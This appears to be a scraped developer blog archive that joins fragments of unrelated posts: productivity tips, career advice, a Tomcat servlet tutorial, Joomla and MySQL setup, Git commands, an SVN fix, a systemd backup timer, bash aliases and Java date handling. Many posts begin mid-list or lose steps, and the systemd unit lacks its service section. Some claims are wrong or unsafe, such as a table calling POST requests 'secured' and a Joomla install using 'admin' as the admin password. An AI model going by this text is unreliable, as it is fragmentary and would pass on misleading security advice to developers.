(a) Have a set, no negotiation lights-out time.
(b) Have a set time to put stop messing around with the t.v., your phone, computer, etc. Social media and t.v. can easily distract you and keep you up for an extra hour or two.
(c) Read before you sleep, not only do you grow through reading but it helps lull you just enough to get you ready for bed.
2. Wake up early
You don’t have to immediately start waking up at 4:00 a.m but you can gradually start pushing back the time you wake up (like 15 minutes a week), and over time you can be a really early riser. The reason waking up early is so integral to success is that there are no distractions whatsoever in the morning time and you can 8-10 hours of work done in 4-5.
How to implement:
(a) Sleep Early
(b) Have the following items done before going to bed : All your bags packed and ready to go for the next day. The clothes you want to wear the next day should be decided. What you want to eat for breakfast.
(c) Have a reason to wake up - you need to know exactly what your plan is. An idea of the first few tasks you want to knock out in the morning or rather, what the first few hours of your morning is going to consist of.
(3) Exercise: Looking good and feeling more confident about your physical attraction is just one incidental benefit to exercising. Your body rewards you with happiness, LITERALLY, in the form of endorphins.
3. Eating healthy
Looking good and feeling more confident about your physical attraction is just one incidental benefit to eating healthier. To operate at maximum productive capacity, you need to have maximum energy levels. Pay attention to how your body responds to the different foods you eat and you’ll quickly see the importance of healthy eating and drinking water. Your body PAYS YOU with the currency of energy for treating it the right way!
How to implement:
(a) Cut junk food - chips, soda, fast-food, etc. Needs to just go and not be an option.
(b) Have bread and other carbs earlier during the day for energy, and try to stay awake from carbs after 3 p.m
(c) WATER, LOTS and LOTS of water - as much as you can have.
(d) Force yourself to eat vegetables and fruits 4. Meditating or pray
All day long your mind is going at 100 miles an hour and we’re not even aware of it. We don’t think about our thoughts as events that require energy, but every thought you have requires a certain amount of energy, and the thoughts that actually stick and force you to actively think, DRAIN YOU. Meditation helps patch up the leaking of energy caused the neuroticism of the mind.
How to implement:
(a) Full body stretch for 2-3 minutes
(b) Sit comfortably in a chair, or cross-legged on a pillow on the floor. If you’re on the floor try and sit on the edge of pillow so you’re leaning forward towards your knees as opposed to back, well, on your lower back.
(c) Close your eyes, try to follow your breath. 5. Stay organized
When we know we have a million things to do with no plan of attack, we get overwhelmed and we become negative about the fact that we have so much to do, so little time, not knowing where to start. You need to have a plan of attack that breaks your big goals into smaller steps, and be strict on yourself about completing small steps. Progress adds up and you feel accomplished with every step you take.
How to implement:
(a) Have a journal/piece of paper, something to plan on.
(b) Break down the big goals/assignments/projects that you’re doing into 5-10 little steps that are necessary in the process.
(c) Plan those steps into feasible deadlines, should be flexible enough that you don’t have to stress AT ALL about getting them done.
The software engineer most likely to be sought after is ;
<ul><li>Utterly reliable. They get things done, even if it means working hard. They notify ahead of time if they’re going to miss a deliverable. </li><li>Thorough. Things they do only need to be done once, which is to say, it’s unlikely anyone else could have done it better. </li><li>Productive. They get things done quickly and competently. </li><li>Innovative. They can think of new ways to solve problems old and new. </li><li>Adaptable. They learn new technologies easily, and can integrate it with their existing knowledge to leverage both for gain. Also known as ‘fungible.’ </li><li>Optimistic. When things are looking crappy, they’re the ones who convince everyone that this too will pass, and probably in a good way. </li><li>Personable. People like working with them. Despite being good, they don’t make other people feel bad.</li></ul> It’s not about your primary programming language or technology. It’s not about being smarter than everyone else. It’s not about being the world’s best programmer. It’s about being good, being reliable, and being someone who other people want to work with.
Managers want reliable people in bad times, and people who don’t cause trouble. Peers want someone who buoys them and makes the team stronger, and helps their team mates and the company succeed.
If by some miracle a position is open, hiring managers want to hire people like this because they’re good for business, they’re good for team morale, and they’re good for the company. And they find them by remembering who THEY like working with, or asking their team for recommendations of people they like working with
Don’t stress on the design of the database too much.
Sometimes this may be hard. With internal Line-Of-Business (LOB) applications, the prevailing view of the business is often times that the DATA is the primary asset, where as the software is somewhat expendable. That is, for businesses, data is everything.
In my opinion, this is wrong.
In reality the asset is the company’s ability to INTERACT with data. To view it, to manipulate it, and to make decisions based on it.
This means that even though they may place a high value on the data, what they are actually valuing is the software that you are writing. This means I would focus most of your effort on building an effective user experience, rather than on “designing the perfect database”. The database is really just a tool that enables you to deliver on a user experience.
The key feature of relational data models is data and access path independance. You can add columns, change keys, introduce or remove indexes, etc, while having zero impact (or close to zero) on the applications that use it.
This makes the database structure extremely pliable. Easy to change.
Trying to design the database to “be flexible for the future” or to “optimize performance” is mostly a wasted effort. Changing the structure of the database will have a relatively small impact on your system.
You also can’t predict how the database will scale until you run into the scenarios where you need it to scale. Your best bet is to wait until you hit performance issues. and then address them specifically.
Making changes to the user experience of your app, however, is usually more expensive. UI work is time consuming, and usually takes a while to get right.
So, my recommendation is :
<ul><li>Just quickly produce a crappy DB design </li><li>React to the actual performance scenarios you encounter </li><li>Focus your efforts on user experience, not on the database</li></ul>
1. Creating your project directory in Tomcat’s webapps folder.
In Debian Server, Tomcat can be installed at a few possible location such as
<ul><li>/usr/share/tomcat8</li><li>/var/lib/tomcat8/ (Note : this is where Tomcat is installed in KWT server)</li><li>/opt/tomcat8</li></ul><div>However, our web application are to be placed inside the “webapps” folder. For example, for KWT server, your web application should be placed in : <ul><li>/var/lib/tomcat8/webapps/</li></ul><div>First, use ssh client to access your server. Then, go to this directory : cd /var/lib/tomcat8/webapps/</div></div><div> </div><div>Create a directory with your project name : mkdir projectRaf</div><div> </div><div>Create a simple index.html page to test our project page : touch index.html </div><div> </div><div>Insert something (anything) to that file : echo “this is my project page” > index.html</div><div> </div><div>Go to your project page. For KWT, this will be http://{your-server-IP-here}:8080/projectRaf and the content of the index.html should be displayed. Note that 8080 is the port used by Tomcat. For comparison, Apache2 web server uses port 80, which is the default port for all browser (you don’t have to specify the port for Apache2 web server). For Tomcat, you need to specify the port 8080.</div><div> </div><div> </div><div>2. Revise on the Java Servlet’s operation.
Make sure you understand the use of HTTP POST and HTTP GET as well as Servlet Mapping.</div><div> </div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"> </div><div class="separator" style="clear: both;">Handling form data represented in HTML page is a very common task in web development. A typical scenario is the user fills in fields of a form and submits it. </div><div class="separator" style="clear: both;"> </div><div class="separator" style="clear: both;">The server will process the request based on the submitted data, and send response back to the client - this is what our Java Servlet does. </div><div class="separator" style="clear: both;"> </div><div class="separator" style="clear: both;"> </div><div class="separator" style="clear: both;">3. Create simple form (Front end)</div><div class="separator" style="clear: both;"> </div>Since our index.html file is in the server, it is quite inconvinience to edit the file directly on the server.
Luckily, Bitvise SSH Client comes with SFTP Window browser. This allow us to graphically transfer file from our local to our server, specifically to Tomcat’s webapps folder <div class="separator" style="clear: both; text-align: center;"> </div>
<div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"> </div><div class="separator" style="clear: both; text-align: center;"> </div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"> </div><div class="separator" style="clear: both; text-align: center;"> </div><div class="" style="clear: both;">Edit our index.html and put in the following : </div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both;"> </div><div class="separator" style="clear: both;">Form attributes :</div><div class="separator" style="clear: both;"></div><ul><li>method=”post” : to send the form data as an HTTP POST request to the server. Remember the difference between HTTP POST and HTTP GET? </li><li>action=”servlet–URL” : specifies the URL of the servlet. Remember what is Servlet-mapping? This is the usage of that mapping.</li></ul> <div>Once done, copy and overwrite the index.html on the server. Then go to the project URL, you should see something like below :
</div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: left;">Note that this is a simple form. We will use this similar index.html file in our Eclipse project below.</div><div class="separator" style="clear: both; text-align: center;"> </div><div class="separator" style="clear: both; text-align: center;"> </div><div class="separator" style="clear: both; text-align: left;">4. Create Servlet using Eclipse (Back End)</div><div class="separator" style="clear: both; text-align: left;"> </div><div class="separator" style="clear: both; text-align: left;">For simplicity, we use the following tutorial : http://www.studytonight.com/servlet/creating-servlet-in-eclipse.php</div><div class="separator" style="clear: both; text-align: left;"> </div><div class="separator" style="clear: both; text-align: left;"> </div><div class="separator" style="clear: both; text-align: left;">5. Change the Servlet code</div><div class="separator" style="clear: both;"> </div><div class="separator" style="clear: both;">On the server side, we need to create a Java servlet which want to be mapped to loginServlet, as specified in the form’s action attribute (see our index.html above). Following is code snippet of the servlet, using the annotation method, specifically on the doPost( ) method</div><div class="separator" style="clear: both;"> You may want to change the package name to yours. </div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both;"> </div><div class="separator" style="clear: both;"> 6. Understand the Servlet </div><div class="separator" style="clear: both;">Notice that the servlet’s URL is specified by the @WebServlet annotation before the servlet class. </div><div class="separator" style="clear: both;"> </div><div class="separator" style="clear: both;">When the user submits the login form above, the servlet’s doPost() method will be invoked by the servlet container. </div><div class="separator" style="clear: both;"> </div><div class="separator" style="clear: both;">Typically we will do the following tasks inside doPost() method:</div><div class="separator" style="clear: both;"></div><ul><li>Read values of the fields posted from the form via the request object (implementation of javax.servlet.http.HttpServletRequest interface). </li><li>Do some processing, e.g. connecting to database to validate the username and password. </li><li>Return response back to the user via the respone object (implementation of javax.servlet.http.HttpServletResponse interface).</li></ul> <div class="separator" style="clear: both;"></div><div><div> </div><div>To read values of form’s fields, the HttpServletRequest interface provides the following methods:</div><div><ul><li>String getParameter(String name) : gets value of a field which is specified by the given name, as a String. The method returns null if there is no form field exists with the given name.</li><li>String[] getParameterValues(String name) : gets values of a group of fields which have same name, in an array of String objects. The method returns null if there is no field exists with the given name.</li></ul></div><div>Usage :</div><div>String username = request.getParameter(“username”);</div><div>String password = request.getParameter(“password”);</div></div><div> </div><div><div>To send response back to the client, we need to obtain a writer from the response object by calling the method getWriter() of the HttpServletResponse interface:</div><div> </div><div>PrintWriter writer = response.getWriter();</div><div> </div><div>Then use the print() or println() method to deliver the response (in form of HTML code). </div><div> </div><div>For example :</div><div> </div><div>String htmlRespone = “{create-html-out-here}”;</div><div>writer.println(htmlRespone);</div></div><div> </div><div> </div><div>6. Include index.html </div><div> </div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"> </div><div class="separator" style="clear: both; text-align: left;">According to this strucure, we can include our index.html direcly on our project’s WebContent root on Eclipse. You can either copy the index.html and drag onto WebContent folder on Eclipse or create a new index.html file and just copy paste the content we have written previously.
</div><div class="separator" style="clear: both; text-align: left;">7. Create a war file of our project and export to server </div><div class="separator" style="clear: both; text-align: left;"> </div><div class="separator" style="clear: both;">On Eclipse, right-click on the project name > Export > WAR file</div><div> </div><div>Use the Bitvise SSH client SFTP window tool to transfer our war file to server Tomcat’s webapps folder.
Note that when the war file are complely transferred to Tomcat’s webapps folder, it will be automatically uncompressed into our project folder.
Access our project URL to see our deployed web application (index.html + simple Servlet).
As a newbie, I was confused on this error until I search through StackOverflow. Phew!
Reasons you may get a foreign key constraint error:
You are not using InnoDB as the engine on all tables.
You are trying to reference a nonexistent key on the target table. Make sure it is a key on the other table (it can be a primary or unique key)
The types of the columns are not the same (exception is the column on the referencing table can be nullable).
One of the reasons may also be that the column you are using for ON DELETE SET NULL is not defined to be null. So make sure that the column is set default null
You are not using the same Character Set for both tables.
A hard link is the file system representation of a file. Any changes to that file are instantly visible to applications that access it through the hard links that reference it.
Junctions
A junction (also called a soft link) differs from a hard link in that it references the target directories, as opposed to a single file.
Many websites today use Content Management Systems (CMS) that allow you to make changes to a website without needing to touch a single line of code.
The most well know CMS are WordPress, Joomla and Drupal. All of them are free to install on your server.
<div class="separator" style="clear: both; text-align: center;"></div> How to install Joomla on Debian Linux.
1. Prequisite softwares. Make sure your server have these software installed - MySQL (or any database) - PHP (check using : php -version) - Apache Web Server (or any other web server)
2. Create database for Joomla. The database will store data such as articles, menus, categories, and users. - login to MySQL - CREATE DATABASE DB_JOOMLA
3. Download Joomla. - First, create a temporary directory called temp anywhere : mkdir temp - go to into the directory : cd temp - download Joomla to that directory : wget https://downloads.joomla.org/cms/joomla3/3-6-5/joomla_3-6-5-stable-full_package-zip?format=zip
4. Copy Joomla files into Apache Web Server and set permission - first, create a directory under Apache Web Server : mkdir -p /var/www/html/joomla - unzip downloaded .zip file to our folder in Apache Web Server : unzip -q Joomla_3.6.5-Stable-Full_Package.zip -d /var/www/html/joomla - set permission for that folder appropiately : chown -R www-data.www-data /var/www/html/joomla chmod -R 755 /var/www/html/joomla
5. Now, we’re ready to proceed with the installation of Joomla. Go to http://{your-server-ip}/joomla. Installation page should appear. Provide the neccesary values and click next Site Name = kwt Description = kwt Admin Email = mrafsyam@gmail.com Admin Username = admin Admin password = admin Confirm Admin Password = admin
<div class="separator" style="clear: both; text-align: center;"></div> You should write down the admin username and password for you to login later (currently uses admin/admin)
6. In the next page, provide the database connection Database Type =MySQLi hostname = localhost username = {provide a db username} password = {password} Database Name = db_joomla (created previoysly) Table Prefix = jml_ (you can provide any value here)
10. Joomla is successfully installed. Go to http://{your-server-ip}/joomla/administrator/ and login as admin (check step 5). This is Joomla’s Admin Panel.
DTO is an abbreviation for Data “Transfer” Object.
<ul><li>It is used to transfer the data between classes and modules of your application, typically with data/values from database. DTO should only contain private fields for your data, getters, setters and constructors. It is not recommended to add any logic methods to such classes.</li></ul>
DAO is an abbreviation for Data “Access” Object.
<ul><li>It should have the logic for retrieving, saving and updating data in your database.</li></ul><div> </div><div>Business Object is the class that uses DAO and DTO. Consider this is our servlet. It also has all logics (methods to do stuff etc). </div><div> </div>
Version Control is a program that tracks changes of files over time by virtue of version or revision which is a running numbering system. Consider this scenario :
When you started you project and save it the first time, that is version #1. When you worked on the project again and save it for the second time, that is version #2. And, so on.
Version Control allow you to see the differences between each revision, when it was made and who did it. It also allow you to have a backup (you normally save your project to a remote server). Also, when you mess up, you can also easily get back to a previous working version.
Most version control systems have similar concepts. Lets go with Git.
Terms
1. Remote Repository (repo) : The remote server which we stored our files.
2. Local repo/Working Copy : Our local directory of files, where you make changes.
3. Head: The latest revision in the repo.
4. Origin : The “main” location of the files. Typically, on remote repo. But can also be on your computer.
Commands
1. git init : Make the current directory as a local repo. (local repo is the origin. no remote repo linked at this point)
2. git add : Put files into local repo for the first time, i.e. begin tracking it with Version Control. This is called “staging” or put the file on “stage”.
3. git clone : Clone a remote repo to a local directory with origin pointing to the remote repo. Doesn’t require git init. Also called checkout code from remote repo.
4. git status : Show files that are tracked in local repo. Typically, will show files that are newly added, modified or untracked files.
5. git log : Show log of changes with their revision.
6. git revert : Revert local repo to previous revision state.
7. git commit : Commit all changes (or all files in staging) to local repo.
8. git push : Push your last commit to origin (typically, remote repo). Also called checkin your code to remote repo.
9. git pull : Keep your local repo up to date with remote repo aka get updates from remote repo. Obviously, also called update or sync.
10. git diff : view the differences between current codes (if changes are made) and the previous revision.
11. git merge : apply the changes from one file to another. Typically, when you try to push a file, another developer has also pushed for some changes on the file after your last update with remote repo (so you haven’t got his changes yet)
12. git rm : remove the file from tracking. After commited, the file then becomes “untracked” if you use “git status”.
Website is a collection of web pages that may contain text, images, audio and video. Web Application is a website which focuses more on providing some useful functions to users.
Static Website : Static website displays static/fixed information Dynamic Website : Dynamic website displays information that keep changing.
<div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"> </div><table class="alt" style="background-color: white; border-collapse: collapse; border-spacing: 0px; border: 1px solid rgb(255, 192, 203); color: black; font-family: verdana, helvetica, arial, sans-serif; font-size: 13px; line-height: 23px; text-align: initial; width: 804px;"><tbody><tr style="background-color: #f6ffe1;"><th style="background: linear-gradient(rgb(246, 255, 225), rgb(227, 229, 214)); font-family: "times new roman"; font-size: 17px; padding: 5px; text-align: left; vertical-align: top;">Static Website</th><th style="background: linear-gradient(rgb(246, 255, 225), rgb(227, 229, 214)); font-family: "times new roman"; font-size: 17px; padding: 5px; text-align: left; vertical-align: top;">Dynamic Website</th></tr><tr><td style="border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;">Prebuilt content is same every time the page is loaded.</td><td style="border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;">Content is generated quickly and changes regularly.</td></tr><tr style="background-color: #f6ffe1;"><td style="border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;">It uses the HTML code for developing a website.</td><td style="border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;">It uses the server side languages such as PHP,SERVLET, JSP, and ASP.NET etc. for developing a website.</td></tr><tr><td style="border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;">It sends exactly the same response for every request.</td><td style="border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;">It may generate different HTML for each of the request.</td></tr><tr style="background-color: #f6ffe1;"><td style="border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;">The content is only changes when someone publishes and updates the file (sends it to the web server).</td><td style="border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;">The page contains “server-side” code it allows the server to generate the unique content when the page is loaded.</td></tr><tr><td style="border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;">Flexibility is the main advantage of static website.</td><td style="border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;">Content Management System (CMS) is the main advantage of dynamic website.</td></tr></tbody></table> 2. Hyper Text Transfer Protocol (HTTP)
<div class="separator" style="clear: both; text-align: center;"></div> HTTP Data communication protocol used to establish communication between client (internet browser) and web server.
HTTP Request The information send by the client (browser) to a web server that ‘requesting’ for some response (data, file, info etc) from the web server using HTTP protocol
GET vs POST (Both are type HTTP Request)
<table class="alt" style="background-color: white; border-collapse: collapse; border-spacing: 0px; border: 1px solid rgb(255, 192, 203); color: black; font-family: verdana, helvetica, arial, sans-serif; font-size: 13px; line-height: 23px; text-align: initial; width: 804px;"><tbody><tr style="background-color: #f6ffe1;"><th style="background: linear-gradient(rgb(246, 255, 225), rgb(227, 229, 214)); font-family: "times new roman"; font-size: 17px; padding: 5px; text-align: left; vertical-align: top;">GET</th><th style="background: linear-gradient(rgb(246, 255, 225), rgb(227, 229, 214)); font-family: "times new roman"; font-size: 17px; padding: 5px; text-align: left; vertical-align: top;">POST</th></tr><tr><td style="border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;">is used to retrieve data from web server</td><td style="border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;">is used to insert/update data into web server.</td></tr><tr style="background-color: #f6ffe1;"><td style="border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;">is not secured because data is exposed in URL bar.</td><td style="border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;">is secured because data is NOT exposed in URL bar.</td></tr><tr><td style="border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;">is used typically for viewing something, without changing it</td><td style="border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;">is used for changing something</td></tr><tr style="background-color: #f6ffe1;"><td style="border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;">data is sent through the header (can be seen in URL bar) www.ask.com/register.jsp?name1=value</td><td style="border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;">data is sent in body (can NOT be seen in URL bar) www.ask.com/registerDao.jsp</td></tr></tbody></table>
3. Front End (client-side) vs Back End (server-side)
<table class="alt" style="background-color: white; border-collapse: collapse; border-spacing: 0px; border: 1px solid rgb(255, 192, 203); color: black; font-family: verdana, helvetica, arial, sans-serif; font-size: 13px; line-height: 23px; width: 804px;"><tbody><tr style="background-color: #f6ffe1;"><th style="background: linear-gradient(rgb(246, 255, 225), rgb(227, 229, 214)); font-family: "times new roman"; font-size: 17px; padding: 5px; text-align: left; vertical-align: top;">Front End</th><th style="background: linear-gradient(rgb(246, 255, 225), rgb(227, 229, 214)); font-family: "times new roman"; font-size: 17px; padding: 5px; text-align: left; vertical-align: top;">Back End</th></tr><tr><td style="border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;">Refers to the stuff that you actually see on the browser aka the UI Interface of the website.</td><td style="border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;">Refers to the “brain” of the application which live on the server </td></tr><tr style="background-color: #f6ffe1;"><td style="border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;">Use HTML, CSS, and JavaScript that are supported by the browser (client)</td><td style="border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;">Use other languages such as Java and PHP that are supported by the server
</td></tr></tbody></table>
4. Java Servlet
Servlet is a java program that run at the back end (server-side). Servlet is the program that listen and response to HTTP Request. Servlet is the one who retrieve data from the database by performing queries.
Basically, Servlet is a java class (that extends HttpServlet class from Java API). For example, MyServlet.java (which is then compiled to MyServlet.class)
Web Server is a program that processes request via HTTP.. Web Server is responsible to store, process and deliver web pages to clients.
Example : Apache HTTP Server (Apache2, httpd)
A Servlet Container is a type of Web Server that host and process Java program called Servlet. Servlet Container is responsible for managing the lifecycle of servlets, mapping a URL to a particular servlet etc. Servlet Container also works as Web Server for non-java programs.
Example : Tomcat <div class="separator" style="clear: both; text-align: center;"></div> NOTE : All Servlet Containers are Web Server. However, not all Web Server are Servlet Container. Apache HTTP Server is only a Web Server and it cannot run Java Servlet at all.
Servlet Container can host many Java Servlets. <div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"> </div>For normal Java Servlet, one Java Servlets are “mapped” to one specific URL/page. For example, When user open www.ask.com/register.jsp, regServlet is called. When user open www.ask.com/logout.jsp, logoutServlet is called.
This is called Servlet Mapping and is done via Web Deployment Descriptor or using WebServlet annotation (see next)
6. Web Deployment Descriptor (web.xml)
This is a XML file where Servlet Container finds out which Servlet are mapped to which URL/page.
‘@WebServlet’ annotation can be used to declare a servlet instead of web.xml (especially if you have many Servlets). This annotation is processed by the Servlet Container at deployment time, and the corresponding servlet made available at the specified URL patterns (value=URL Pattern).
2. Set Envinronment Variables for Java. Step 1 : Right Click on MyComputer and click on properties . Step 2 : Click on Advanced tab Step 3: Click on Environment Variables (bottom left) Step 4: At User Variable section (top), create a few variables as below. You need to enter the Variable name and then the value: JAVA_HOME : C:\Program Files\Java\jdk1.8.0_112 (put your actual Java installation) JDK_HOME : %JAVA_HOME% JRE_HOME : %JAVA_HOME%\jre CLASSPATH : .;%JAVA_HOME%\lib;%JAVA_HOME%\jre\lib
Step 5: At System Variable section (bottom), find a variable named PATH or path and at the end of the value with the following;
for Windows 8 and below; C:\Program Files\Java\jdk1.8.0_112\bin (your actual Java installation and within bin folder) Note the the semicolon at the front of the path.
or for Windows 10, click New and add the above path.
3. Check if everything is OK. Run command line tool (press Windows + x or use search for “cmd”). Run java -version and javac -version which should show the version.
Once installed, run the MySQL installer. Select from the product list (click on + sign) the MySQL server and then execute.
Upon configuration, setup password for root and another user login (if you want). Rename the service name to MYSQL and set it to auto run at startup. You may want to create log files for each of the logs i.e. error, general and slow query logs.
Once in a while I get this error, happened due to network issue while a svn command is being executed but wasn’t able to finish.
svn: E200033: Another process is blocking the working copy database, or the underlying filesystem does not support file locking; if the working copy is on a network filesystem, make sure file locking has been enabled on the file server svn: E200033: sqlite[S5]: database is locked svn: E200042: Additional errors: svn: E200033: sqlite[S5]: database is locked
Fix :
$ cd /my/repository/.svn $ mv wc.db wc.db.old $ sqlite3 wc.db.old sqlite> .backup main wc.db sqlite> .exit
Afterwards, do a svn cleanup. Then, you’re good to go.
This morning I accidentally (well, I was not aware that I was not in the correct folder) all my project files today.
Lesson learned - recovery for (rm -rf *) is almost impossible.
The good thing is that I worked on the project over the weekend, so some stuff are still fresh in my mind. But first, I am going to create back up and automate it for every 2 hours because I am paranoid like that. I am going to leave the backup on my desktop.
In Solus, cron is not installed by default and they use systemd/Timers (https://wiki.archlinux.org/index.php/Systemd/Timers) instead for replacement.
Create a file named as backup-workspace.service in /etc/systemd/system
<pre>cd /etc/systemd/system sudo touch backup-workspace.service </pre>Add in the following using your favorite text editor:
<pre># Systemd # Service (/etc/systemd/system/backup-workspace.service) [Unit] Description=automatically backup workspace
# Timer (/etc/systemd/system/backup-workspace.timer) [Unit] Description=Runs backup-workspace service every hour
[Timer] # Time to wait after booting before we run first time OnBootSec=1min # Time between running each consecutive time OnUnitActiveSec=1h Unit=backup-workspace.service
[Install] WantedBy=multi-user.target
I created an alias/shortcut key to do the backup manually too by editing my ~/.bashrc file.
# bash setting export HISTFILESIZE=3000 # the bash history should save 3000 commands export HISTCONTROL=ignoredups #don’t put duplicate lines in the history.
# check PID of current running process. Usage : ps java alias ps=”ps -awwef | grep “
# frequently used directories for bookmarking purposes alias cdt=”cd /home/raf/Tools/apache-tomcat-8.5.4/webapps” alias cdw=”cd /home/raf/Workspace/” alias cdwu=”cd /home/raf/Workspace/trunk-umobile-work” alias cdp=”cd ~/Workspace/cpx/source/merchant_portal”
# short forms command for other most used software alias apache-up=”sudo /usr/local/apache2/bin/apachectl restart; tail -f /usr/local/apache2/logs/error_log;” alias tomcat-up=”~/Tools/apache-tomcat-8.5.4/bin/catalina.sh start;” alias tomcat-log=”tail -f /home/raf/Tools/apache-tomcat-8.5.4/logs/catalina.out;” alias tomcat-clearlog=”rm /home/raf/Tools/apache-tomcat-8.5.4/logs/catalina.out; touch /home/raf/Tools/apache-tomcat-8.5.4/logs/catalina.out;” alias tomcat-clear=”rm -rfv /home/raf/Tools/apache-tomcat-8.5.4/work/Catalina/” alias sub=”/opt/sublime_text/sublime_text” alias nau=”nautilus “ alias fire=”cd /home/raf/Tools/firefox-24; setsid ./firefox”
# short forms command for favourite linux tools alias ..=”cd ..” alias …=”cd …“ alias ls=”ls -lsaXB” # sort by extension alias ls_size=’ls -lSar’ # sort by size alias cls=”clear” alias cl=”clear” alias sls=”clear” alias s;s=”clear” alias s:=”clear” alias ;s=”clear” alias hist=’history | grep $1’ # check previously executed command. Usage : hist tomcat alias sc=’source ‘ alias find_pattern=”grep -rnwl . -e “ # find file that contain pattern. Usage : find mytext alias find=”find “ # let it be here. Needed to fix bug betwen find_pattern and find_file alias find_file=”find -name “ # find file by file name. Usage : find_file mytext.txt
# listing files within directory alias structure=”tree -P ‘.jar|.java|.xml|.html|.css’ | less “ alias structure-nojar=”tree -P ‘.java|.xml|.html|.css’ | less “ alias structure-nojava=”tree -P ‘.xml|.html|.css’ | less “
# command line pre-fix export PS1=”pwd : ${LIGHTGREEN} \w\n${BLUE}\u${RED}:$ ${BLUE}”
2. However, if the class is in a package such as below :
<pre>package thepackagename;
public class TheClassName { public static final void main(String[] args) { System.out.println(“Hello World!”); } }</pre> Then calling the same command will give you the following results (or similar) :
<pre>Error: Could not find or load main class TheClassName.</pre> This is because, to run your code, it needs to be called with its fully-qualified name (include packagename in it’s name) and also note that this command must be called from the directory in which the thepackagename directory exists, not where your class TheClassName is placed (not inside the thepackagename folder itself - must be one level above)
I would like to re-write all posts from this blog by using markdown. Still waiting for official support from Blogger but it does not seem it’s going to happen real soon.
2. This configuration cause logs to be printed to standard output, that is usually Eclipse console window. You can also view this logs in Javascript console, which present in Chrome, Firefox and IE.
6. The log levels define the severity of a message. The Level class is used to define which messages should be written to the log. You can set the minimum level by the following :
logger.setLevel(Level.INFO);
7. These are the typical usage of these levels :
ERROR: Any error/exception that is or might be critical.
WARN: Any message that might warn us of potential problems, e.g. when a user tried to log in with wrong credentials - which might indicate an attack if that happens often or in short periods of time
INFO: Anything that we want to know when looking at the log files, e.g. when a scheduled job started/ended.
Using java.util.Calendar in typical Java application
<pre class="lang-java prettyprint prettyprinted" style="background-color: #eff0f1; border: 0px; color: #393318; font-family: Consolas, Menlo, Monaco, "Lucida Console", "Liberation Mono", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Courier New", monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;">SimpleDateFormat dateFormat =newSimpleDateFormat("yyyy-MM-dd"); Calendar cal =Calendar.getInstance(); cal.setTime( dateFormat.parse( inputString )); cal.add(Calendar.DATE,1);</pre> 2. Using java.util.Date - this does’t take care Daylight saving but might be required for certain use cases and especially in GWT where Calendar is not supported.
<pre class="lang-java prettyprint prettyprinted" style="background-color: #eff0f1; border: 0px; font-family: consolas, menlo, monaco, "lucida console", "liberation mono", "dejavu sans mono", "bitstream vera sans mono", "courier new", monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;"><pre class="lang-java prettyprint prettyprinted" style="border: 0px; color: #393318; font-family: Consolas, Menlo, Monaco, "Lucida Console", "Liberation Mono", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Courier New", monospace, sans-serif; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;">Date date =newDate(); Date daysAgo =newDate(date.getTime() - (1000*60*60*24)); </pre></pre> 3. Using 3rd party library. For example, http://joda-time.sourceforge.net
